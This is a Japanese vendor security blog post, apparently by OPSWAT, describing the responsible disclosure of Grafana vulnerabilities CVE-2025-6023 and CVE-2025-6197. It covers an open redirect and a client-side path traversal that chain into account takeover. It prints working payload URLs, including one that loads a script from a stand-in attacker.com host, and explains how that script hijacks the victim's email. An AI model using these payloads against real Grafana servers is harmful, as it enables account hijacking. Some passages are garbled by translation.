Grafanaは、データ可視化、分析、およびモニタリングのための主要なオープンソースプラットフォームであり、ユーザーは複数のソースからのデータを集約してインタラクティブなダッシュボードを構築することができます。GitHubで68,000以上のスターを持ち、Docker Hubや他のリポジトリ経由で数百万ダウンロードされているGrafanaは、業界全体のモダンな監視スタックの重要なコンポーネントとなっています。
インフラモニタリングにおけるその広範な採用と重要な役割により、Grafanaは脅威行為者にとって格好の標的となっています。企業全体のモニタリング環境の完全性と可用性を保護するためには、これを保護することが不可欠です。
OPSWAT、Grafanaのような広く使われているプラットフォームの脆弱性を調査し、責任を持って公開することで、セキュリティコミュニティに積極的に貢献しています。2021年には、OPSWAT ユニット515のメンバーであるTheBlackTurtleによって、重大な脆弱性であるCVE-2021-39226が発見され、責任を持って公開されました。
こうした貢献に加え、OPSWAT 実践的なトレーニング・イニシアチブを通じて、次世代のサイバーセキュリティ人材に力を与えています。そのようなプログラムの1つが、OPSWAT 重要インフラサイバーセキュリティ大学院フェローシッププログラムであり、学生に実世界のセキュリティ脅威の特定と分析に関する実践的な経験を提供しています。このプログラムの一環として、Grafanaの新たな重大な脆弱性CVE-2025-6023が、フェローの一人によって自主研究プロジェクト中に発見されました。
OPSWAT フェローシップ・プログラムと重要脆弱性の発見
ベトナムを拠点とするOPSWAT 重要インフラ・サイバーセキュリティ大学院フェローシップ・プログラムは、大学院生に重要インフラの安全確保に関する実践的な経験を提供します。フェローはOPSWAT サイバーセキュリティ専門家と積極的に協力し、マルウェアの検出、ファイルセキュリティ、脅威の防止など、実際の課題に取り組みます。
この厳格なプログラムの一環として、参加者はOPSWAT 専門家の指導の下、様々なソフトウェア製品、ライブラリ、オペレーティングシステムにおける既知の脆弱性(CVE)を体系的に調査、再現、分析します。著名なフェローの一人であるHoa X. Nguyenは、主な研究プロジェクトの焦点としてGrafanaを選択しました。
2025年6月、CVE-2025-4123の詳細なレビューとGrafanaのソースコードのより深い分析において、Hoa X. Nguyenはプラットフォーム内の未知の脆弱性を特定した。この問題は、オープンリダイレクトの欠陥とクライアントサイドパストラバーサル(CSPT)の脆弱性を連鎖させ、最終的にGrafanaの別のエンドポイントを経由してクロスサイトスクリプティング(XSS)と完全なアカウント乗っ取りをもたらしました。
Unit515と緊密に協力しながら、我々は1つだけでなく、それぞれ完全なアカウント侵害につながる可能性のある2つの別々のエクスプロイトチェーンを発見した。
OPSWAT 、責任を持って脆弱性をGrafanaに報告し、積極的な貢献を続けた。問題は速やかに認識され、その後のリリースでパッチが発行された。これらの脆弱性は、後にCVE-2025-6023とCVE-2025-6197に割り当てられ、その後、国家脆弱性データベース(NVD)に公開されている。
CVE-2025-6023 & CVE-2025-6197 タイムライン
- 2025年6月11日:Hoa X. NguyenがGrafana最新バージョンの脆弱性を特定し、Grafanaにセキュリティレポートを提出した。
- 2025年6月11日議論の結果、Grafanaは脆弱性を確認し、CVE-2025-6023に高い深刻度を割り当てた。
- 2025年6月17日:Unit 515のDat PhungはHoa X. Nguyenと緊密に連携し、脆弱性を悪用した別の攻撃チェーンを発見した。
- 2025年6月17日Grafanaは2つ目の脆弱性を確認し、CVE-2025-6197に中程度の深刻度を割り当てた。
- 2025年7月17日Grafanaは12.0.2+security-01、11.6.3+security-01、11.5.6+security-01、11.4.6+security-01、11.3.8+security-01をリリースし、これらの脆弱性に効果的に対処する拡張パッチを導入した。
- 2025年7月18日NVD(National Vulnerability Database)がCVE-2025-6023とCVE-2025-6197を正式に公開。
不完全パッチとCVE-2025-6023の技術的分析
2025年5月、Alvaro Balada氏によって、Grafanaにおける深刻度の高い脆弱性CVE-2025-4123が公開された。この欠陥はクライアント側のパス・トラバーサルとオープン・リダイレクトを組み合わせたもので、攻撃者はGrafanaの信頼されたコンテキスト内で任意のJavaScriptを実行する悪意のあるフロントエンド・プラグインを配信することができ、結果としてアカウントを完全に乗っ取ることができる。匿名アクセスが有効な場合、認証は必要ありませんでした。さらに、Grafana Image Rendererプラグインがインストールされている場合、エクスプロイトはSSRFにエスカレートし、内部サービスまたはクラウドメタデータを公開する可能性があります。
Grafanaは2025年5月にセキュリティアップデートでこの問題に対処し、バージョン12.0.0+security01、11.6.1+security01、および10.x-11.xブランチにわたるその他のパッチを導入した。修正には、コンテンツセキュリティポリシー(CSP)の強化とリダイレクトサニタイズの厳格化が含まれる。
OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program の一環として、Hoa X. Nguyen は CVE-2025-4123 の包括的な分析を行いました。彼の研究は、エクスプロイト・フローのリバース・エンジニアリングと、提供されたパッチの有効性の評価でした。この調査中、Hoa は、この脆弱性は基本的にオープン・リダイレクトとクライアント側パス・トラバーサルの組み合わせであるにもかかわらず、CVE-2025-4123 に対するパッチは、コミット{ff20b06} で導入されたデータ・サニタイズ・チェックを通じて、staticHandler のオープン・リダイレクトにのみ対処していることを観察した。
しかし、この部分的な緩和策では、核となる攻撃ベクトルは未対処のままだった。攻撃者がオープン・リダイレクトに脆弱な代替エンドポイントを特定できれば、同じエクスプロイト・チェーンが依然として存在し、パッチを適用した後でも、完全なアカウント乗っ取りに利用される可能性があるのだ。この仮説を念頭に置いて、Hoa氏はGrafanaコードベースのソースコードレビューをより深く行った。この取り組みを通じて、彼は別の脆弱なエンドポイントを特定することに成功した:/user/auth-tokens/rotateです。
このエンドポイントは、期限切れの認証トークンを再生成するためのものです。クエリパラメータredirectTo を使用して、トークンが正常に更新された後にユーザを目的のページに移動させます。
一般的な実装では、リダイレクトURLはCfg.AppSubURLの設定値とユーザーが指定したredirectToパラメータを連結することで構築されます。しかし、Grafanaのデフォルト設定では、AppSubURLは未定義です。その結果、アプリケーションはリダイレクトパスを形成する際、redirectToの生の値のみに依存します。
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
このリダイレクトメカニズムのために、GrafanaはValidateRedirectToと呼ばれる検証関数を通じて、ユーザーが提供する入力に関連するセキュリティリスクを低減しようと試みている。これは、パスの先頭でダブルスラッシュを無効にすることによって、安全でないリダイレクトターゲット(//example.comで始まるものなど)をブロックすることを意図している:
しかし、Alvaro Baladaのオリジナル研究で示されたように、この機能は、フォワードスラ ッシュの後にバックスラッシュを付ける(例えば、// example .com)ことでバイパスすることができ る。その結果、以下のペイロードは、ユーザーが認証されていると仮定して、オープン・リダイレクトを達成するために使用することができます:
/user/auth-tokens/rotate?redirectTo=/example.com
Hoa X. Nguyenによるこの発見は、CVE-2025-4123に対する不完全な修復とともに、Grafanaアカウントの完全な乗っ取りが依然として可能であることを示している。
このバイパスを発見したOPSWAT 、直ちにこの問題をGrafana開発チームに報告した。これに対し、Grafanaは内部での議論を通じて、以前の緩和策が不完全であることをすでに確認しており、私たちの報告の前に、今後のリリースでこの問題に対処することを計画していました。その結果、発見されたオープン・リダイレクトの脆弱性に対して新たなCVEが割り当てられ、深刻度は中程度に分類され、私たちの報告は受理されました。
CVE-2025-6023:アカウント乗っ取りを可能にする新たな悪用チェーン
CVE-2025-4123は元々、Grafanaのフロントエンド・プラグイン・アプリケーション内のクライアントサイド・パストラバーサル(CSPT)の脆弱性を強調していた。最初の報告で、Hoa X. Nguyenは、この既知のCSPTの問題を、新たに発見されたオープンリダイレクトの欠陥と組み合わせて、効果的なエクスプロイトチェーンを構築した。重大な影響が示されたにもかかわらず、CSPTの公開前にGrafanaがすでに内部的にパッチの不完全な性質を認めていたため、脆弱性の深刻度は中程度とされた。
これは、新たに発見されたオープンリダイレクトの脆弱性と組み合わされた場合、完全に独立したエクスプロイトチェーンを可能にする可能性のある追加のCSPTの欠陥がGrafanaコードベース内に存在するかどうかをより深く調査することを促した。そのようなCSPT脆弱性が別のエンドポイントで発見された場合、CVE-2025-4123と同じ高い深刻度レベルを割り当てることが正当化される可能性があります。
新たな脆弱なEndpoint発見
この仮説に突き動かされ、Hoa氏はGrafanaのソースコードを徹底的に調査した。この分析中、彼は、適切な入力検証やサニタイズなしに、任意のソースからのスクリプトの動的な取得と実行を可能にする、追加の脆弱なエンドポイントを特定した。この安全でない動作は、Grafanaのダッシュボードのスクリプト機能に関連しており、特に以下のルートで管理されています:
/ダッシュボード/:タイプ/:スラッグ
このルートは、ダッシュボードのスクリプト処理を担当するミドルウェアによって処理されます。具体的には、:slugパラメータが、適切なサニタイズなしにスクリプトを動的にロードして実行するために使用されます。これにより、攻撃者は悪意のある URL を作成し、CVE-2025-4123 と同様のエクスプロイトチェーンを再現できる可能性があります。
ダッシュボードのスクリプト・メカニズムの分析
Grafanaのダッシュボードスクリプト機構は、DashboardPageProxyコンポーネントを利用して、ルート/dashboard/:type/:slugに対応するリクエストを処理します:
DashboardPageProxy内では、実行フローは以下のように進む:
DashboardPageProxyが返す結果は、stateManager.fetchDashboard()メソッドの実行から得られる。このメソッドは、URLパスから抽出されたuid、type、slugパラメータを受け取る。このレスポンスがどのように構築されるかを分析するために、Hoa X.NguyenはstateManagerオブジェクトとそのfetchDashboard()メソッド内のロジックを調べた。stateManagerは、以下のファイルで定義されているgetDashboardScenePageStateManager()関数によってインスタンス化される:
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts
stateManagerは、図 2 に示されているように、引数なしでgetDashboardScenePageStateManager()関数を呼び出すことによって初期化されるため、返されるオブジェクトはUnifiedDashboardScenePageStateManagerクラスのインスタンスであると結論付けることができます。
そこで、fetchDashboard()メソッドの動作を理解するために、UnifiedDashboardScenePageStateManagerクラス内での実装を分析することにした:
UnifiedDashboardScenePageStateManagerクラスでは、fetchDashboard() メソッドが最初にwithVersionHandling()関数を呼び出します。この関数は、activeManagerインスタンスを決定して返す役割を果たします。activeManager が構築されると、そのインスタンスで対応するfetchDashboard()メソッドを呼び出し、関連するオプション・パラメータを渡します。
activeManagerインスタンスは、DashboardScenePageStateManagerまたはDashboardScenePageStateManagerV2オブジェクトです。どちらのクラスも、ダッシュボードのデータを取得するための同様のロジックを実装しています。以下のコードは、DashboardScenePageStateManagerクラスから抜粋したものです:
DashboardScenePageStateManagerクラスのfetchDashboard()メソッド内では、switch 文が使用され、ルート・タイプに基づいて適切な処理ロジックが決定されます。既定の場合、メソッドは
dashboardLoaderSrv.loadDashboard(type, slug, uid, query)
この呼び出しによって、要求されたダッシュボードのロード処理が開始されます。loadDashboard()関数のリファレンス実装は、以下のファイルにあります:
/public/app/features/dashboard/services/DashboardLoad
loadDashboard() 関数内では、いくつかの条件チェックが実行され、適切な処理フローが決定されます。型が "script" に設定され、スラッグが存在する場合、この関数は起動します:
this.loadScriptedDashboard(スラッグ)
ここでは、ユーザー入力に由来するスラッグが、loadScriptedDashboard()メソッドのパラメータとして渡される。この呼び出しによってもたらされる実行フローと可能性のある脆弱性を評価するために、Hoa氏はDashboardLoaderSrvBaseクラス内のloadScriptedDashboard()の実装を分析した:
loadScriptedDashboard() メソッドでは、図 2 に示す slug パラメータがファイル名 (文字列) として扱われます。 url変数を構築するために使用されます。しかし、このパラメータは適切にサニタイズされていません。この実装では、"js"の直後に続く文字以外のすべてのドット(.)文字を スラッシュ(/)に置き換える正規表現を適用しています。この部分的なフィルタリングは入力を適切にサニタイズしないため、 パス操作やトラバーサル攻撃を受けやすくなります。
URLが構築されると、スクリプトはgetBackendSrv().get(url)を呼び出して指定されたダッシュボードをロードしようとします。取得したスクリプトは、this.executeScript(code) を使用して実行されます。
この分析により、最終的にHoa X. NguyenはGrafanaの最新リリースに新たなClient-Side Path Traversal(CSPT)の脆弱性を特定しました。入力のサニタイズやバリデーションがないため、攻撃者はスラッグを操作してURLを作成し、外部ソースから悪意のあるスクリプトをロードして実行することができます。
新たに発見されたオープンリダイレクトの脆弱性と組み合わせることで、この問題は、完全なアカウント乗っ取りを達成できる完全なエクスプロイトチェーンを可能にします。このエクスプロイトを実証するペイロードのサンプルは以下の通り:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
例えば、こうだ:
/dashboard/script/...%2f...%2f...%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
malicious.jsファイルは、被害者の電子メールアドレスとユーザー名を攻撃者が管理するものに変更するように細工することができる。これにより、攻撃者は自分のメールアドレスにパスワードのリセットプロセスを開始し、最終的にアカウントを完全に乗っ取ることができる:
CVE-2025-6023の概念実証
このビデオでは、OPSWATHoa X. Nguyenが発見した、Grafanaユーザーに影響を与える完全なアカウント乗っ取りシナリオを実演しながら、CVE-2025-6023の実際の影響を紹介します:
緩和と指導
上記で説明した脆弱性を軽減するために、お使いのシステムがGrafanaの最新バージョンにアップデートされていることを確認してください。
SBOMエンジンを使用するMetaDefender Core 、この脆弱性を検出することができます。
高度なSBOMSoftware 部品表)機能を備えたOPSWAT MetaDefender Core、組織がセキュリティリスクに対処するためのプロアクティブなアプローチを取ることを可能にします。ソフトウェアアプリケーションとその依存関係をスキャンすることで、MetaDefender Core リストされたコンポーネント内のCVE-2025-6023やCVE-2025-6197のような既知の脆弱性を特定します。これにより、開発チームとセキュリティチームは、パッチの適用に優先順位をつけることができ、悪意のある行為者に悪用される前に潜在的なセキュリティリスクを軽減することができます。
以下は、MetaDefender Core SBOMで検出したCVE-2025-6023とCVE-2025-6197のスクリーンショットです:
さらに、CVEs は次のものによっても検出できます。 MetaDefender Software Supply Chainによって検出することもできます。